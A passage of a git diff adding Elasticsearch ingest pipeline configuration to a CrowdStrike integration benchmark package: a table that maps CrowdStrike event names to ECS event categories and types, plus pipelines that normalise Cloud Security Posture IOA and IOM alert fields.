+          kind: event
+          outcome: success
+          type:
+            - creation
+        QuarantineActionResult:
+          category:
+            - file
+          kind: alert
+          outcome: unknown
+          type:
+            - info
+        QuarantinedFile:
+          category:
+            - file
+          kind: alert
+          outcome: unknown
+          type:
+            - change
+        QuarantinedFileState:
+          category:
+            - file
+          kind: alert
+          outcome: unknown
+          type:
+            - info
+        QueueApcEtw:
+          category:
+            - file
+          kind: alert
+          outcome: success
+          type:
+            - creation
+        RansomwareCreateFile:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - creation
+        RansomwareFileAccessPattern:
+          category:
+            - file
+          kind: alert
+          outcome: success
+          type:
+            - access
+        RansomwareOpenFile:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - access
+        RarFileWritten:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - creation
+        RawBindIP4:
+          category:
+            - network
+          kind: event
+          outcome: success
+          type:
+            - start
+            - connection
+        RawBindIP6:
+          category:
+            - network
+          kind: event
+          outcome: success
+          type:
+            - start
+            - connection
+        ReflectiveDllOpenProcess:
+          category:
+            - process
+          kind: alert
+          outcome: success
+          type:
+            - access
+        ReflectiveDotnetModuleLoad:
+          category:
+            - library
+          kind: event
+          type:
+            - start
+        RegCrowdstrikeKeyUpdate:
+          category:
+            - registry
+          kind: event
+          outcome: success
+          type:
+            - change
+        RegCrowdstrikeValueUpdate:
+          category:
+            - registry
+          kind: event
+          outcome: success
+          type:
+            - change
+        RegGenericValueUpdate:
+          category:
+            - registry
+          kind: event
+          outcome: success
+          type:
+            - change
+        RegSystemConfigValueUpdate:
+          category:
+            - registry
+            - host
+            - configuration
+          kind: event
+          outcome: success
+          type:
+            - change
+        RegisterRawInputDevicesEtw:
+          category:
+            - host
+            - configuration
+          kind: event
+          outcome: success
+          type:
+            - change
+        RegistryOperationDetectInfo:
+          category:
+            - registry
+          kind: alert
+          outcome: success
+          type:
+            - info
+        RemoteBruteForceDetectInfo:
+          category:
+            - malware
+            - authentication
+          kind: alert
+          outcome: success
+          type:
+            - info
+        RemovableDiskModuleLoadAttempt:
+          category:
+            - configuration
+            - host
+          kind: event
+          outcome: success
+          type:
+            - change
+        RemovableMediaVolumeMounted:
+          category:
+            - configuration
+            - host
+          kind: event
+          outcome: success
+          type:
+            - change
+        RtfFileWritten:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - creation
+        SAMHashDumpFromUnsignedModule:
+          category:
+            - registry
+            - file
+          kind: alert
+          outcome: success
+          type:
+            - access
+            - creation
+        ScheduledTaskDeleted:
+          category:
+            - configuration
+          kind: event
+          outcome: success
+          type:
+            - deletion
+        ScheduledTaskModified:
+          category:
+            - configuration
+          kind: event
+          outcome: success
+          type:
+            - change
+        ScheduledTaskRegistered:
+          category:
+            - configuration
+          kind: event
+          outcome: success
+          type:
+            - creation
+        ScreenshotTakenEtw:
+          category:
+            - process
+          kind: event
+          outcome: success
+          type:
+            - access
+        ScriptControlBlocked:
+          category:
+            - malware
+            - file
+          kind: alert
+          outcome: success
+          type:
+            - info
+        ScriptControlDetectInfo:
+          category:
+            - malware
+            - file
+          kind: alert
+          outcome: success
+          type:
+            - info
+        ScriptControlErrorEvent:
+          category:
+            - malware
+            - file
+          kind: alert
+          outcome: failure
+          type:
+            - info
+        ScriptControlScanInfo:
+          category:
+            - malware
+            - file
+          kind: state
+          outcome: success
+          type:
+            - info
+        ScriptControlScanTelemetry:
+          category:
+            - malware
+            - file
+          kind: state
+          outcome: success
+          type:
+            - info
+        SensitiveWmiQuery:
+          category:
+            - process
+          kind: event
+          outcome: success
+          type:
+            - info
+        SensorAntiTamperState:
+          category:
+            - configuration
+          kind: state
+          type:
+            - info
+        SensorHeartbeat:
+          category:
+            - package
+          kind: event
+          outcome: success
+          type:
+            - info
+        SensorSettingsUpdate:
+          category:
+            - configuration
+          kind: event
+          type:
+            - change
+        ServiceStarted:
+          category:
+            - process
+          kind: event
+          outcome: success
+          type:
+            - start
+        ServiceStopped:
+          category:
+            - process
+          kind: event
+          outcome: success
+          type:
+            - end
+        ServicesStatusInfo:
+          category:
+            - configuration
+          kind: state
+          type:
+            - info
+        SetWinEventHookEtw:
+          category:
+            - host
+            - configuration
+          kind: event
+          outcome: success
+          type:
+            - change
+        SevenZipFileWritten:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - creation
+        SignInfoError:
+          category:
+            - file
+          kind: state
+          outcome: failure
+          type:
+            - info
+        SignInfoWithCertAndContext:
+          category:
+            - file
+          kind: state
+          outcome: unknown
+          type:
+            - info
+        SignInfoWithContext:
+          category:
+            - file
+          kind: state
+          outcome: unknown
+          type:
+            - info
+        SmbClientNamedPipeConnectEtw:
+          category:
+            - network
+          kind: event
+          outcome: success
+          type:
+            - connection
+        SmbClientShareClosedEtw:
+          category:
+            - network
+          kind: event
+          outcome: success
+          type:
+            - connection
+            - end
+        SmbClientShareOpenedEtw:
+          category:
+            - network
+          kind: event
+          outcome: success
+          type:
+            - connection
+            - start
+        SmbServerShareOpenedEtw:
+          category:
+            - network
+          kind: event
+          outcome: success
+          type:
+            - connection
+            - start
+        SmbServerV1AuditEtw:
+          category:
+            - network
+          kind: state
+          outcome: unknown
+          type:
+            - connection
+        SnapshotVolumeMounted:
+          category:
+            - host
+            - configuration
+          kind: event
+          outcome: success
+          type:
+            - change
+        SudoCommandAttempt:
+          category:
+            - authentication
+          kind: event
+          outcome: unknown
+          type:
+            - start
+        SuspiciousCreateSymbolicLink:
+          category:
+            - file
+          kind: alert
+          outcome: success
+          type:
+            - creation
+            - info
+        SuspiciousDnsRequest:
+          category:
+            - network
+          kind: alert
+          outcome: success
+          type:
+            - start
+            - protocol
+        SuspiciousEseFileWritten:
+          category:
+            - malware
+            - file
+          kind: alert
+          outcome: success
+          type:
+            - creation
+            - info
+        SuspiciousPeFileWritten:
+          category:
+            - malware
+            - file
+          kind: alert
+          outcome: success
+          type:
+            - creation
+            - info
+        SuspiciousPrivilegedProcessHandle:
+          category:
+            - process
+          kind: event
+          type:
+            - info
+        SuspiciousRegAsepUpdate:
+          category:
+            - malware
+            - registry
+            - configuration
+          kind: alert
+          outcome: success
+          type:
+            - change
+            - info
+        SuspiciousUserRemoteAPCAttempt:
+          category:
+            - malware
+            - process
+          kind: alert
+          outcome: success
+          type:
+            - info
+        SyntheticProcessRollup2:
+          category:
+            - process
+          kind: event
+          outcome: success
+          type:
+            - start
+        SystemCapacity:
+          category:
+            - host
+          kind: state
+          outcome: success
+          type:
+            - info
+        TarFileWritten:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - creation
+        TelemetryCounters2:
+          category:
+            - host
+          kind: state
+          outcome: success
+          type:
+            - info
+        TelemetryNetworkConnections:
+          category:
+            - network
+          kind: state
+          outcome: success
+          type:
+            - connection
+        TelemetryStats:
+          category:
+            - host
+          kind: state
+          outcome: success
+          type:
+            - info
+        TerminateProcess:
+          category:
+            - process
+          kind: event
+          outcome: success
+          type:
+            - end
+        TokenImpersonated:
+          category:
+            - process
+            - authentication
+          kind: event
+          outcome: success
+          type:
+            - info
+            - change
+        UACCOMElevation:
+          category:
+            - process
+            - authentication
+          kind: event
+          outcome: success
+          type:
+            - info
+            - change
+        UACExeElevation:
+          category:
+            - process
+            - authentication
+          kind: event
+          outcome: success
+          type:
+            - info
+            - change
+        UACMSIElevation:
+          category:
+            - process
+            - authentication
+          kind: event
+          outcome: success
+          type:
+            - info
+            - change
+        UmppaErrorEvent:
+          category:
+            - package
+          kind: event
+          outcome: failure
+          type:
+            - info
+        UnsignedModuleLoad:
+          category:
+            - library
+          kind: event
+          outcome: success
+          type:
+            - start
+        UpdateManifestDownloadComplete:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - creation
+        UserAccountAddedToGroup:
+          category:
+            - configuration
+            - iam
+          kind: event
+          outcome: success
+          type:
+            - change
+            - group
+        UserAccountCreated:
+          category:
+            - configuration
+            - iam
+          kind: event
+          outcome: success
+          type:
+            - creation
+        UserAccountDeleted:
+          category:
+            - configuration
+            - iam
+          kind: event
+          outcome: success
+          type:
+            - deletion
+        UserExceptionDEP:
+          category:
+            - process
+            - malware
+          kind: alert
+          outcome: success
+          type:
+            - info
+        UserFontLoad:
+          category:
+            - configuration
+          kind: event
+          outcome: success
+          type:
+            - change
+        UserIdentity:
+          category:
+            - authentication
+            - iam
+          kind: event
+          outcome: success
+          type:
+            - info
+            - user
+        UserLogoff:
+          category:
+            - authentication
+          kind: event
+          outcome: success
+          type:
+            - end
+        UserLogon:
+          category:
+            - authentication
+          kind: event
+          outcome: success
+          type:
+            - start
+        UserLogonFailed:
+          category:
+            - authentication
+          kind: event
+          outcome: failure
+          type:
+            - start
+        UserLogonFailed2:
+          category:
+            - authentication
+          kind: event
+          outcome: failure
+          type:
+            - start
+        VolumeSnapshotCreated:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - creation
+        VolumeSnapshotDeleted:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - deletion
+        WfpFilterTamperingFilterAdded:
+          category:
+            - configuration
+          kind: event
+          outcome: success
+          type:
+            - change
+        WfpFilterTamperingFilterDeleted:
+          category:
+            - configuration
+          kind: event
+          outcome: success
+          type:
+            - change
+        WmiCreateProcess:
+          category:
+            - process
+          kind: event
+          outcome: success
+          type:
+            - start
+        WmiFilterConsumerBindingEtw:
+          category:
+            - configuration
+          kind: event
+          outcome: success
+          type:
+            - change
+        WmiProviderRegistrationEtw:
+          category:
+            - configuration
+          kind: event
+          outcome: success
+          type:
+            - change
+        WroteExeAndGeneratedServiceEvent:
+          category:
+            - process
+          kind: alert
+          outcome: success
+          type:
+            - access
+        XarFileWritten:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - creation
+        ZipFileWritten:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - creation
+      source: |-
+        def m = params.get(ctx.crowdstrike?.event_simpleName);
+        if (m != null) {
+          m.forEach((k, v) -> {
+            if (v instanceof List) {
+              ctx.event[k] = new ArrayList(v);
+            } else {
+              ctx.event[k] = v;
+            }
+          });
+        }
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/cspm_ioa.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/cspm_ioa.yml
new file mode 100644
index 0000000000..4bf46f00ef
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/cspm_ioa.yml
@@ -0,0 +1,273 @@
+---
+description: Pipeline for processing Cloud Security Posture's IOA events.
+processors:
+  # Event categorization
+  - set:
+      tag: set_event_kind_alert_39295792
+      field: event.kind
+      value: alert
+  - append:
+      tag: append_event_category_configuration_1c667e2c
+      field: event.category
+      value: configuration
+  - append:
+      tag: append_info_change_type_9e4e4288
+      field: event.type
+      value:
+        - info
+        - change
+
+  # Converts
+  - convert:
+      tag: convert_crowdstrike_policy_severity_to_long_c007532a
+      field: crowdstrike.policy_severity
+      type: long
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_policy_severity_b8fb8d80
+            field:
+              - crowdstrike.policy_severity
+            ignore_failure: true
+        - append:
+            tag: append_error_message_d47a6b0a
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      tag: convert_crowdstrike_source_ip_address_to_ip_358322f7
+      field: crowdstrike.source_ip_address
+      type: ip
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_source_ip_address_4c2c058b
+            field:
+              - crowdstrike.source_ip_address
+            ignore_failure: true
+        - append:
+            tag: append_error_message_c13b6565
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      tag: convert_crowdstrike_user_identity_mfa_authenticated_to_boolean_54612133
+      field: crowdstrike.user_identity_mfa_authenticated
+      type: boolean
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_user_identity_mfa_authenticated_3d1c0d5c
+            field:
+              - crowdstrike.user_identity_mfa_authenticated
+            ignore_failure: true
+        - append:
+            tag: append_error_message_25a88ee1
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      tag: convert_crowdstrike_read_only_to_boolean_9b7366e7
+      field: crowdstrike.read_only
+      type: boolean
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_read_only_e31c665c
+            field:
+              - crowdstrike.read_only
+            ignore_failure: true
+        - append:
+            tag: append_error_message_bfc80555
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      tag: convert_crowdstrike_management_event_to_boolean_09a8dac6
+      field: crowdstrike.management_event
+      type: boolean
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_management_event_88242574
+            field:
+              - crowdstrike.management_event
+            ignore_failure: true
+        - append:
+            tag: append_error_message_7fb96b06
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      tag: convert_crowdstrike_policy_id_to_string_eae04ac3
+      field: crowdstrike.policy_id
+      type: string
+      ignore_missing: true
+  - date:
+      tag: date_crowdstrike_event_created_into_event_created_f55ec58c
+      if: ctx.crowdstrike?.event_created != null && ctx.crowdstrike.event_created != ''
+      field: crowdstrike.event_created
+      target_field: event.created
+      formats:
+        - ISO8601
+      on_failure:
+        - append:
+            tag: append_error_message_9078ce2c
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+
+  # ECS mappings
+  - set:
+      tag: set_@timestamp_from_event_created_42aa5b8f
+      field: '@timestamp'
+      copy_from: event.created
+      ignore_empty_value: true
+  - set:
+      tag: set_rule_name_from_crowdstrike_policy_statement_2e4da4b5
+      field: rule.name
+      copy_from: crowdstrike.policy_statement
+      ignore_empty_value: true
+  - rename:
+      tag: rename_crowdstrike_event_id_to_event_id_aac41038
+      field: crowdstrike.event_id
+      target_field: event.id
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_event_name_to_event_action_ad89e7ef
+      field: crowdstrike.event_name
+      target_field: event.action
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_event_source_to_source_domain_2ee5c144
+      field: crowdstrike.event_source
+      target_field: source.domain
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_user_identity_principal_id_to_user_id_ec14da98
+      field: crowdstrike.user_identity_principal_id
+      target_field: user.id
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_user_identity_user_name_to_user_name_bc683fbd
+      field: crowdstrike.user_identity_user_name
+      target_field: user.name
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_policy_description_to_rule_description_60190db2
+      field: crowdstrike.policy_description
+      target_field: rule.description
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_policy_statement_to_message_6cbc5326
+      field: crowdstrike.policy_statement
+      target_field: message
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_cloud_provider_to_cloud_provider_37e579dc
+      field: crowdstrike.cloud_provider
+      target_field: cloud.provider
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_policy_id_to_rule_id_6a562b4e
+      field: crowdstrike.policy_id
+      target_field: rule.id
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_source_ip_address_to_source_ip_0ff0e35b
+      field: crowdstrike.source_ip_address
+      target_field: source.ip
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_cloud_service_friendly_to_cloud_service_name_1e1824cd
+      field: crowdstrike.cloud_service_friendly
+      target_field: cloud.service.name
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_account_to_cloud_account_id_d1803359
+      field: crowdstrike.account
+      target_field: cloud.account.id
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_cloud_region_to_cloud_region_f7090720
+      field: crowdstrike.cloud_region
+      target_field: cloud.region
+      ignore_missing: true
+  - append:
+      tag: append_threat_tactic_name_cae1a398
+      if: ctx.crowdstrike?.mitre_attack_tactic != null
+      field: threat.tactic.name
+      value: '{{{crowdstrike.mitre_attack_tactic}}}'
+      allow_duplicates: false
+  - append:
+      tag: append_threat_technique_name_e0e30ec0
+      if: ctx.crowdstrike?.mitre_attack_technique != null
+      field: threat.technique.name
+      value: '{{{crowdstrike.mitre_attack_technique}}}'
+      allow_duplicates: false
+  - user_agent:
+      tag: user_agent_crowdstrike_user_agent_a19b860f
+      field: crowdstrike.user_agent
+      ignore_missing: true
+  # Override severity set in default.yml as Cloud Security has a different range.
+  - script:
+      tag: set_severity_name_from_crowdstrike_policy_severity_1989e488
+      if: ctx.crowdstrike?.policy_severity instanceof long
+      source: |-
+        long severity = ctx.crowdstrike.policy_severity;
+        if (severity == 0) {
+          ctx.crowdstrike.SeverityName = 'critical';
+        } else if (severity == 1) {
+          ctx.crowdstrike.SeverityName = 'high';
+        } else if (severity == 2) {
+          ctx.crowdstrike.SeverityName = 'medium';
+        } else if (severity == 3) {
+          ctx.crowdstrike.SeverityName = 'informational';
+        }
+  - script:
+      tag: set_event_severity_from_severity_name_e55a1868
+      if: ctx.crowdstrike?.SeverityName instanceof String && ctx.crowdstrike.SeverityName != ''
+      params:
+        critical: 99
+        high: 73
+        info: 21
+        informational: 21
+        low: 21
+        medium: 47
+      source: |-
+        ctx.event = ctx.event ?: [:];
+        Integer score = params[ctx.crowdstrike.SeverityName.toLowerCase()];
+        if (score != null) {
+          ctx.event.severity = score;
+        }
+
+  # Cleanup.
+  - remove:
+      tag: remove_40214210
+      field:
+        - crowdstrike.mitre_attack_tactic
+        - crowdstrike.mitre_attack_technique
+        - crowdstrike.event_created
+        - crowdstrike.user_agent
+      ignore_missing: true
+
+  # error handling
+  - set:
+      tag: set_pipeline_error_into_event_kind_92954dfa
+      if: ctx.error?.message != null
+      field: event.kind
+      value: pipeline_error
+  - append:
+      tag: append_preserve_original_event_into_tags_9fe66b2c
+      if: ctx.error?.message != null
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
+on_failure:
+  - set:
+      tag: set_event_kind_f51b77ad
+      field: event.kind
+      value: pipeline_error
+  - append:
+      tag: append_tags_d762b9c5
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
+  - append:
+      tag: append_error_message_e0c9bd63
+      field: error.message
+      value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/cspm_iom.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/cspm_iom.yml
new file mode 100644
index 0000000000..a5d97ab1f0
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/cspm_iom.yml
@@ -0,0 +1,503 @@
+---
+description: Pipeline for processing Cloud Security Posture's IOM and CloudSecurityIOMEvaluation events.
+processors:
+  # Event categorization
+  - set:
+      tag: set_event_kind_alert_39295792
+      field: event.kind
+      value: alert
+  # Handle passed CloudSecurityIOMEvaluation events.
+  - set:
+      tag: set_event_kind_event_74f065e1
+      if: ctx.crowdstrike?.status != null && ctx.crowdstrike.status.equalsIgnoreCase('Passed')
+      field: event.kind
+      value: event
+  - append:
+      tag: append_event_category_configuration_1c667e2c
+      field: event.category
+      value: configuration
+  - append:
+      tag: append_info_type_8b66b73a
+      field: event.type
+      value:
+        - info
+
+  # Converts
+  - convert:
+      tag: convert_crowdstrike_Severity_to_integer_0f32343f
+      field: crowdstrike.Severity
+      type: integer
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_Severity_ab19708e
+            field:
+              - crowdstrike.Severity
+            ignore_failure: true
+        - append:
+            tag: append_error_message_596243fd
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      tag: convert_crowdstrike_cloud_asset_type_to_long_e947ff85
+      field: crowdstrike.cloud_asset_type
+      type: long
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_cloud_asset_type_f9e88af0
+            field:
+              - crowdstrike.cloud_asset_type
+            ignore_failure: true
+        - append:
+            tag: append_error_message_dbb2b2ab
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      tag: convert_crowdstrike_legacyPolicyId_to_long_aa105144
+      field: crowdstrike.legacyPolicyId
+      type: long
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_legacyPolicyId_f79e89e6
+            field:
+              - crowdstrike.legacyPolicyId
+            ignore_failure: true
+        - append:
+            tag: append_error_message_6322de94
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      tag: convert_crowdstrike_resource_legacyPolicyId_to_long_4b2a6514
+      field: crowdstrike.resource.legacyPolicyId
+      type: long
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_resource_legacyPolicyId_e1ede384
+            field:
+              - crowdstrike.resource.legacyPolicyId
+            ignore_failure: true
+        - append:
+            tag: append_error_message_c4c4d2a4
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      tag: convert_crowdstrike_revision_to_long_9713160b
+      field: crowdstrike.revision
+      type: long
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_revision_6f267a18
+            field:
+              - crowdstrike.revision
+            ignore_failure: true
+        - append:
+            tag: append_error_message_bfacb109
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      tag: convert_crowdstrike_policy_severity_to_long_c007532a
+      field: crowdstrike.policy_severity
+      type: long
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_policy_severity_b8fb8d80
+            field:
+              - crowdstrike.policy_severity
+            ignore_failure: true
+        - append:
+            tag: append_error_message_d47a6b0a
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      tag: convert_crowdstrike_internal_only_to_boolean_05f17f60
+      field: crowdstrike.internal_only
+      type: boolean
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_internal_only_89b06d42
+            field:
+              - crowdstrike.internal_only
+            ignore_failure: true
+        - append:
+            tag: append_error_message_0484dad0
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      tag: convert_crowdstrike_policy_id_to_string_eae04ac3
+      field: crowdstrike.policy_id
+      type: string
+      ignore_missing: true
+  - date:
+      tag: date_crowdstrike_ResourceCreateTime_into_crowdstrike_ResourceCreateTime_f8d87a86
+      if: ctx.crowdstrike?.ResourceCreateTime != null && ctx.crowdstrike.ResourceCreateTime != ''
+      field: crowdstrike.ResourceCreateTime
+      target_field: crowdstrike.ResourceCreateTime
+      formats:
+        - ISO8601
+      on_failure:
+        - append:
+            tag: append_error_message_ba53e1c6
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - date:
+      tag: date_crowdstrike_created_into_crowdstrike_created_22cd53c6
+      if: ctx.crowdstrike?.created != null && ctx.crowdstrike.created != ''
+      field: crowdstrike.created
+      target_field: crowdstrike.created
+      formats:
+        - ISO8601
+      on_failure:
+        - append:
+            tag: append_error_message_87abd606
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - date:
+      tag: date_crowdstrike_firstDetected_into_crowdstrike_firstDetected_7207d30a
+      if: ctx.crowdstrike?.firstDetected != null && ctx.crowdstrike.firstDetected != ''
+      field: crowdstrike.firstDetected
+      target_field: crowdstrike.firstDetected
+      formats:
+        - ISO8601
+      on_failure:
+        - append:
+            tag: append_error_message_99375bea
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - date:
+      tag: date_crowdstrike_lastDetected_into_crowdstrike_lastDetected_2aa302dc
+      if: ctx.crowdstrike?.lastDetected != null && ctx.crowdstrike.lastDetected != ''
+      field: crowdstrike.lastDetected
+      target_field: crowdstrike.lastDetected
+      formats:
+        - ISO8601
+      on_failure:
+        - append:
+            tag: append_error_message_0de4d3fc
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - date:
+      tag: date_crowdstrike_resource_captured_into_crowdstrike_resource_captured_b21aec1b
+      if: ctx.crowdstrike?.resource?.captured != null && ctx.crowdstrike.resource.captured != ''
+      field: crowdstrike.resource.captured
+      target_field: crowdstrike.resource.captured
+      formats:
+        - ISO8601
+      on_failure:
+        - append:
+            tag: append_error_message_9bb738d9
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - json:
+      tag: decode_crowdstrike_ResourceAttributes_74e90745
+      if: ctx.crowdstrike?.ResourceAttributes instanceof String
+      field: crowdstrike.ResourceAttributes
+      target_field: crowdstrike.ResourceAttributes
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_ResourceAttributes_17af0578
+            field:
+              - crowdstrike.ResourceAttributes
+            ignore_missing: true
+
+  # ECS mappings
+  - set:
+      tag: set_@timestamp_from_crowdstrike_created_6941d144
+      field: '@timestamp'
+      copy_from: crowdstrike.created
+      ignore_empty_value: true
+  - set:
+      tag: set_rule_name_from_crowdstrike_policy_statement_2e4da4b5
+      field: rule.name
+      copy_from: crowdstrike.policy_statement
+      ignore_empty_value: true
+
+  # Renames
+  - rename:
+      tag: rename_crowdstrike_severity_to_crowdstrike_SeverityName_cc000891
+      field: crowdstrike.severity
+      target_field: crowdstrike.SeverityName
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_policy_statement_to_message_6cbc5326
+      field: crowdstrike.policy_statement
+      target_field: message
+      ignore_missing: true
+  # CloudSecurityIOMEvaluation events use `ruleName`
+  - set:
+      tag: set_message_from_crowdstrike_ruleName_0729c3fe
+      field: message
+      copy_from: crowdstrike.ruleName
+      ignore_empty_value: true
+  - append:
+      tag: append_threat_tactic_name_from_crowdstrike_mitre_attack_tactics_name_0ca972fe
+      if: ctx.crowdstrike?.mitre_attack_tactics_name != null
+      field: threat.tactic.name
+      value: '{{{crowdstrike.mitre_attack_tactics_name}}}'
+      allow_duplicates: false
+  - append:
+      tag: append_threat_tactic_reference_from_crowdstrike_mitre_attack_tactics_url_11772a14
+      if: ctx.crowdstrike?.mitre_attack_tactics_url != null
+      field: threat.tactic.reference
+      value: '{{{crowdstrike.mitre_attack_tactics_url}}}'
+      allow_duplicates: false
+  - append:
+      tag: append_threat_tactic_name_from_crowdstrike_threat_tactic_name_4524338e
+      if: ctx.crowdstrike?.threat?.tactic?.name != null
+      field: threat.tactic.name
+      value: '{{{crowdstrike.threat.tactic.name}}}'
+      allow_duplicates: false
+  - append:
+      tag: append_threat_tactic_id_from_crowdstrike_threat_tactic_id_4e03d860
+      if: ctx.crowdstrike?.threat?.tactic?.id != null
+      field: threat.tactic.id
